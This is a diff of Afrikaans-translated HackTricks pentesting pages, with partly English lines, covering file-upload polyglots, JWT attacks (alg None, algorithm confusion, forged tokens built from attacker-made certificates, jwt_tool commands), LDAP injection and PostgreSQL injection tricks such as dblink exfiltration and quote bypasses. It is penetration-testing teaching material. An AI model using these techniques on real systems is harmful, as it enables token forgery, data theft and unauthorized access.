'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
|
||||||
|
|
||||||
|
@ -312,7 +312,7 @@ Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-i
|
||||||
|
|
||||||
## Polyglot Lêers
|
## Polyglot Lêers
|
||||||
|
|
||||||
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF as 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
|
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
|
||||||
|
|
||||||
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
|
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
|
||||||
|
|
||||||
|
@ -329,23 +329,23 @@ Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend
|
||||||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in **hacking loopbaan** en die onhackable hack - **ons is besig om aan te stel!** (_vloeiend Pools geskryf en gesproke vereis_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur
|
||||||
|
|
||||||
### **Vinige Oorwinnings**
|
### **Vinige Oorwinnings**
|
||||||
|
|
||||||
Voer [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) uit met modus `All Tests!` en wag vir groen lyne
|
Voer [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) uit met die modus `All Tests!` en wag vir groen lyne
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py -M at \
|
python3 jwt_tool.py -M at \
|
||||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||||
|
@ -40,7 +40,7 @@ Dan kan jy die versoek in jou proxy soek of die gebruikte JWT vir daardie versoe
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||||
```
|
```
|
||||||
You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) om JWT-aanvalle vanaf Burp te begin.
|
You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) om JWT-aanvalle vanaf Burp te loods.
|
||||||
|
|
||||||
### Manipuleer data sonder om enigiets te verander
|
### Manipuleer data sonder om enigiets te verander
|
||||||
|
|
||||||
|
@ -50,7 +50,7 @@ Jy kan net die data manipuleer terwyl jy die handtekening soos dit is laat en ky
|
||||||
|
|
||||||
Om te kyk of 'n JWT se handtekening geverifieer word:
|
Om te kyk of 'n JWT se handtekening geverifieer word:
|
||||||
|
|
||||||
* 'n Foutboodskap dui op 'n aanhoudende verifikasie; sensitiewe besonderhede in uitgebreide foute moet hersien word.
|
* 'n Foutboodskap dui op voortgaande verifikasie; sensitiewe besonderhede in uitgebreide foute moet hersien word.
|
||||||
* 'n Verandering in die teruggegee bladsy dui ook op verifikasie.
|
* 'n Verandering in die teruggegee bladsy dui ook op verifikasie.
|
||||||
* Geen verandering dui op geen verifikasie nie; dit is wanneer om te eksperimenteer met die manipulasie van payload claims.
|
* Geen verandering dui op geen verifikasie nie; dit is wanneer om te eksperimenteer met die manipulasie van payload claims.
|
||||||
|
|
||||||
|
@ -58,22 +58,22 @@ Om te kyk of 'n JWT se handtekening geverifieer word:
|
||||||
|
|
||||||
Dit is belangrik om te bepaal of die token bediener-kant of kliënt-kant gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.
|
Dit is belangrik om te bepaal of die token bediener-kant of kliënt-kant gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.
|
||||||
|
|
||||||
* Tokens wat eers van die kliëntkant gesien word, dui daarop dat die sleutel moontlik aan kliënt-kant kode blootgestel mag wees, wat verdere ondersoek vereis.
|
* Tokens wat eers van die kliëntkant gesien word, dui aan dat die sleutel moontlik aan kliënt-kant kode blootgestel mag wees, wat verdere ondersoek vereis.
|
||||||
* Tokens wat bediener-kant oorspronklik is, dui op 'n veilige proses.
|
* Tokens wat bediener-kant oorspronklik is, dui op 'n veilige proses.
|
||||||
|
|
||||||
### Duur
|
### Duur
|
||||||
|
|
||||||
Kyk of die token langer as 24 uur hou... dalk verval dit nooit. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer.
|
Kyk of die token langer as 24h hou... dalk verval dit nooit. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer.
|
||||||
|
|
||||||
### Brute-force HMAC geheim
|
### Brute-force HMAC geheim
|
||||||
|
|
||||||
[**Sien hierdie bladsy.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
[**Sien hierdie bladsy.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||||
|
|
||||||
### Verander die algoritme na Geen
|
### Verander die algoritme na None
|
||||||
|
|
||||||
Stel die algoritme wat gebruik word as "Geen" en verwyder die handtekeningdeel.
|
Stel die algoritme wat gebruik word as "None" en verwyder die handtekeningdeel.
|
||||||
|
|
||||||
Gebruik die Burp-uitbreiding genaamd "JSON Web Token" om hierdie kwesbaarheid te probeer en om verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token" oortjie kan jy die waardes van die token verander. Jy kan ook kies om die waarde van die "Alg" veld na "Geen" te plaas).
|
Gebruik die Burp-uitbreiding genaamd "JSON Web Token" om hierdie kwesbaarheid te probeer en om verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token" oortjie kan jy die waardes van die token verander. Jy kan ook kies om die waarde van die "Alg" veld na "None" te plaas).
|
||||||
|
|
||||||
### Verander die algoritme RS256(asimmetries) na HS256(simmetries) (CVE-2016-5431/CVE-2016-10555)
|
### Verander die algoritme RS256(asimmetries) na HS256(simmetries) (CVE-2016-5431/CVE-2016-10555)
|
||||||
|
|
||||||
|
@ -96,7 +96,7 @@ Dit kan gedoen word met die "JSON Web Tokens" Burp uitbreiding.\
|
||||||
|
|
||||||
### JWKS Spoofing
|
### JWKS Spoofing
|
||||||
|
|
||||||
Die instruksies detail 'n metode om die sekuriteit van JWT tokens te evalueer, veral dié wat 'n "jku" kop eis. Hierdie eis moet skakel na 'n JWKS (JSON Web Key Set) lêer wat die publieke sleutel bevat wat nodig is vir die token se verifikasie.
|
Die instruksies beskryf 'n metode om die sekuriteit van JWT tokens te evalueer, veral dié wat 'n "jku" kop eis. Hierdie eis moet skakel na 'n JWKS (JSON Web Key Set) lêer wat die publieke sleutel bevat wat nodig is vir die token se verifikasie.
|
||||||
|
|
||||||
* **Evalueer Tokens met "jku" Kop**:
|
* **Evalueer Tokens met "jku" Kop**:
|
||||||
* Verifieer die "jku" eis se URL om te verseker dat dit na die toepaslike JWKS lêer lei.
|
* Verifieer die "jku" eis se URL om te verseker dat dit na die toepaslike JWKS lêer lei.
|
||||||
|
@ -176,7 +176,7 @@ Om 'n nuwe token te vervals met 'n sertifikaat wat deur jou beheer word, moet jy
|
||||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||||
```
|
```
|
||||||
Then you can use for example [**jwt.io**](https://jwt.io) to create the new JWT with the **gecreëerde publieke en private sleutels en die parameter x5u na die sertifikaat .crt wat geskep is, te wys.**
|
Then you can use for example [**jwt.io**](https://jwt.io) to create the new JWT with the **gecreëerde publieke en private sleutels en die die parameter x5u na die .crt sertifikaat te wys.**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (956).png>)
|
![](<../.gitbook/assets/image (956).png>)
|
||||||
|
|
||||||
|
@ -193,13 +193,13 @@ If the attacker **genereer 'n self-ondertekende sertifikaat** and creates a forg
|
||||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||||
openssl x509 -in attacker.crt -text
|
openssl x509 -in attacker.crt -text
|
||||||
```
|
```
|
||||||
### Embedded Public Key (CVE-2018-0114)
|
### Ingebedde Publieke Sleutel (CVE-2018-0114)
|
||||||
|
|
||||||
As die JWT 'n openbare sleutel ingebed het soos in die volgende scenario:
|
As die JWT 'n ingebedde publieke sleutel het soos in die volgende scenario:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (624).png>)
|
![](<../.gitbook/assets/image (624).png>)
|
||||||
|
|
||||||
Met die volgende nodejs-skrip is dit moontlik om 'n openbare sleutel uit daardie data te genereer:
|
Met behulp van die volgende nodejs-skrip is dit moontlik om 'n publieke sleutel uit daardie data te genereer:
|
||||||
```bash
|
```bash
|
||||||
const NodeRSA = require('node-rsa');
|
const NodeRSA = require('node-rsa');
|
||||||
const fs = require('fs');
|
const fs = require('fs');
|
||||||
|
@ -227,11 +227,11 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||||
```
|
```
|
||||||
Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information.
|
Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information.
|
||||||
|
|
||||||
### ES256: Onthulling van die privaat sleutel met dieselfde nonce
|
### ES256: Onthulling van die private sleutel met dieselfde nonce
|
||||||
|
|
||||||
As sommige toepassings ES256 gebruik en dieselfde nonce gebruik om twee jwts te genereer, kan die privaat sleutel herstel word.
|
As sommige toepassings ES256 gebruik en dieselfde nonce gebruik om twee jwts te genereer, kan die private sleutel herstel word.
|
||||||
|
|
||||||
Here is a example: [ECDSA: Onthulling van die privaat sleutel, as dieselfde nonce gebruik word (met SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
Here is a example: [ECDSA: Onthulling van die private sleutel, as dieselfde nonce gebruik word (met SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||||
|
|
||||||
### JTI (JWT ID)
|
### JTI (JWT ID)
|
||||||
|
|
||||||
|
@ -252,7 +252,7 @@ Dit is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens
|
||||||
|
|
||||||
**Vervaldatum Kontrole van Tokens**
|
**Vervaldatum Kontrole van Tokens**
|
||||||
|
|
||||||
Die token se vervaldatum word nagegaan met behulp van die "exp" Payload eis. Gegewe dat JWTs dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vang en herhaling van 'n ander gebruiker se JWT die nabootsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Verder is die implementering van relevante kontroles deur die toepassing om te verseker dat hierdie waarde verwerk word en dat vervalde tokens verwerp word, van kardinale belang. As die token 'n "exp" eis insluit en toets tydgrense dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsing en vervaldatum kontrole (tydstempel in UTC), kan gelees word met behulp van die jwt\_tool se -R vlag.
|
Die token se vervaldatum word nagegaan met behulp van die "exp" Payload eis. Gegewe dat JWTs dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vang en herhaling van 'n ander gebruiker se JWT die nabootsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Verder is die implementering van relevante kontroles deur die toepassing om te verseker dat hierdie waarde verwerk word en dat vervalde tokens verwerp word, van kardinale belang. As die token 'n "exp" eis insluit en toets tydsbeperkings dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsing en vervaldatum kontrole (tydstempel in UTC), kan gelees word met behulp van die jwt\_tool se -R vlag.
|
||||||
|
|
||||||
* 'n Sekuriteitsrisiko mag teenwoordig wees as die toepassing steeds die token valideer, aangesien dit mag impliseer dat die token nooit kan verval nie.
|
* 'n Sekuriteitsrisiko mag teenwoordig wees as die toepassing steeds die token valideer, aangesien dit mag impliseer dat die token nooit kan verval nie.
|
||||||
|
|
||||||
|
@ -260,7 +260,7 @@ Die token se vervaldatum word nagegaan met behulp van die "exp" Payload eis. Geg
|
||||||
|
|
||||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
|
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -33,7 +33,7 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op
|
||||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat dit aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
|
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||||
|
|
||||||
|
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||||
|
|
||||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiende Pools, geskryf en gesproke, vereis_).
|
As jy belangstel in **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -10,28 +10,28 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiende Pools geskryf en gesproke vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiende Pools, geskryf en gesproke, vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
**Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting in 'n postgresql databasis te benut en om die truuks aan te vul wat jy kan vind op** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
**Hierdie bladsy is daarop gemik om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting in 'n postgresql-databasis te benut en om die truuks aan te vul wat jy kan vind op** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||||
|
|
||||||
## Netwerk Interaksie - Privilege Escalation, Port Scanner, NTLM uitdaging antwoord openbaar & Exfiltrasie
|
## Netwerk Interaksie - Privilege Escalation, Port Scanner, NTLM-uitdaging antwoord openbaarmaking & Exfiltrasie
|
||||||
|
|
||||||
Die **PostgreSQL module `dblink`** bied vermoëns om met ander PostgreSQL instansies te verbind en TCP verbindings uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalatie, port scanning, en NTLM uitdaging antwoord vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
Die **PostgreSQL-module `dblink`** bied vermoëns om met ander PostgreSQL-instanties te verbind en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalatie, port scanning, en NTLM-uitdaging antwoord vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||||
|
|
||||||
### **Exfiltrasie voorbeeld met dblink en groot voorwerpe**
|
### **Exfiltrasie voorbeeld met dblink en groot voorwerpe**
|
||||||
|
|
||||||
Jy kan [**hierdie voorbeeld lees**](dblink-lo\_import-data-exfiltration.md) om 'n CTF voorbeeld te sien van **hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam** van die funksie `dblink_connect` te exfiltreer.
|
Jy kan [**hierdie voorbeeld lees**](dblink-lo\_import-data-exfiltration.md) om 'n CTF-voorbeeld te sien van **hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam** van die funksie `dblink_connect` te exfiltreer.
|
||||||
|
|
||||||
## PostgreSQL Aanvalle: Lees/skryf, RCE, privesc
|
## PostgreSQL Aanvalle: Lees/skryf, RCE, privesc
|
||||||
|
|
||||||
|
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
||||||
|
|
||||||
### Verbode aanhalings
|
### Verbode aanhalings
|
||||||
|
|
||||||
As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese clausules (_karakterkonkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
|
As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese clausules (_karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
|
||||||
```
|
```
|
||||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||||
```
|
```
|
||||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
||||||
SELECT $$hacktricks$$;
|
SELECT $$hacktricks$$;
|
||||||
SELECT $TAG$hacktricks$TAG$;
|
SELECT $TAG$hacktricks$TAG$;
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
|
|
|
@ -43,12 +43,12 @@ Om bediener-kant sjabloon-inspuitingskwulnerabiliteite te voorkom, moet ontwikke
|
||||||
|
|
||||||
### Detectie
|
### Detectie
|
||||||
|
|
||||||
